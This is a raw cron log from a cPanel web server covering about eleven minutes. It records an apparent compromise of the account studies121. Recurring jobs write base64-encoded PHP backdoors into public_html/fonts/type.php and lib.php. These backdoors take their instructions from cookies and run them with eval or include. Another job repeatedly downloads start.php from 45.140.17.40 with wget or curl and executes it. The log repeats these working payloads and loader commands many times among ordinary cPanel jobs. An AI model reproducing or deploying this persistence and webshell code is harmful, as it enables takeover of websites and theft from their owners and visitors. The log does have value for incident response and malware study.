Sep  4 04:55:01 ip-184-168-122-23 CROND[24919]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 04:55:01 ip-184-168-122-23 CROND[24922]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 04:55:01 ip-184-168-122-23 CROND[24923]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 04:55:01 ip-184-168-122-23 CROND[24925]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  4 04:55:01 ip-184-168-122-23 CROND[24926]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 04:56:01 ip-184-168-122-23 CROND[25031]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 04:56:01 ip-184-168-122-23 CROND[25033]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 04:56:01 ip-184-168-122-23 CROND[25036]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 04:56:01 ip-184-168-122-23 CROND[25034]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 04:56:01 ip-184-168-122-23 CROND[25035]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 04:57:01 ip-184-168-122-23 CROND[25174]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 04:57:01 ip-184-168-122-23 CROND[25173]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 04:57:01 ip-184-168-122-23 CROND[25176]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 04:57:01 ip-184-168-122-23 CROND[25177]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 04:57:01 ip-184-168-122-23 CROND[25179]: (root) CMD ((/usr/local/cpanel/scripts/fix-cpanel-perl; /usr/local/cpanel/scripts/upcp --cron > /dev/null))
Sep  4 04:57:19 ip-184-168-122-23 crontab[25321]: (root) LIST (root)
Sep  4 04:57:19 ip-184-168-122-23 crontab[25323]: (root) LIST (root)
Sep  4 04:57:27 ip-184-168-122-23 crontab[25423]: (root) LIST (root)
Sep  4 04:58:01 ip-184-168-122-23 crond[671]: (*system*) RELOAD (/etc/cron.d/cpanel_ssl_reissue)
Sep  4 04:58:01 ip-184-168-122-23 crond[671]: (aromaskitchen) ORPHAN (no passwd entry)
Sep  4 04:58:01 ip-184-168-122-23 crond[671]: (jonessimon) ORPHAN (no passwd entry)
Sep  4 04:58:01 ip-184-168-122-23 CROND[25666]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 04:58:01 ip-184-168-122-23 CROND[25668]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 04:58:01 ip-184-168-122-23 CROND[25672]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 04:58:01 ip-184-168-122-23 CROND[25673]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 04:58:01 ip-184-168-122-23 CROND[25670]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 04:59:01 ip-184-168-122-23 CROND[26167]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 04:59:01 ip-184-168-122-23 CROND[26168]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 04:59:01 ip-184-168-122-23 CROND[26169]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 04:59:01 ip-184-168-122-23 CROND[26171]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 05:00:01 ip-184-168-122-23 CROND[26320]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 05:00:01 ip-184-168-122-23 CROND[26324]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 05:00:01 ip-184-168-122-23 CROND[26325]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 05:00:01 ip-184-168-122-23 CROND[26323]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 05:00:01 ip-184-168-122-23 CROND[26327]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  4 05:00:01 ip-184-168-122-23 CROND[26328]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  4 05:00:01 ip-184-168-122-23 CROND[26326]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 05:00:01 ip-184-168-122-23 CROND[26330]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  4 05:01:01 ip-184-168-122-23 CROND[26527]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 05:01:01 ip-184-168-122-23 CROND[26531]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 05:01:01 ip-184-168-122-23 CROND[26529]: (root) CMD (run-parts /etc/cron.hourly)
Sep  4 05:01:01 ip-184-168-122-23 CROND[26533]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  4 05:01:01 ip-184-168-122-23 CROND[26532]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 05:01:01 ip-184-168-122-23 CROND[26530]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 05:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[26529]: starting 0anacron
Sep  4 05:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[26548]: finished 0anacron
Sep  4 05:02:01 ip-184-168-122-23 CROND[26672]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 05:02:01 ip-184-168-122-23 CROND[26671]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 05:02:01 ip-184-168-122-23 CROND[26670]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 05:02:01 ip-184-168-122-23 CROND[26673]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 05:02:01 ip-184-168-122-23 CROND[26669]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 05:03:01 ip-184-168-122-23 CROND[26776]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 05:03:01 ip-184-168-122-23 CROND[26777]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 05:03:01 ip-184-168-122-23 CROND[26778]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 05:03:01 ip-184-168-122-23 CROND[26779]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 05:04:01 ip-184-168-122-23 CROND[26886]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 05:04:01 ip-184-168-122-23 CROND[26889]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 05:04:01 ip-184-168-122-23 CROND[26891]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 05:04:01 ip-184-168-122-23 CROND[26890]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 05:04:01 ip-184-168-122-23 CROND[26894]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 05:05:01 ip-184-168-122-23 CROND[26997]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  4 05:05:01 ip-184-168-122-23 CROND[26998]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  4 05:05:01 ip-184-168-122-23 CROND[26999]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  4 05:05:01 ip-184-168-122-23 CROND[27002]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 05:05:01 ip-184-168-122-23 CROND[27003]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 05:05:01 ip-184-168-122-23 CROND[27004]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 05:05:01 ip-184-168-122-23 CROND[27005]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 05:06:01 ip-184-168-122-23 CROND[27193]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 05:06:02 ip-184-168-122-23 CROND[27194]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 05:06:02 ip-184-168-122-23 CROND[27196]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
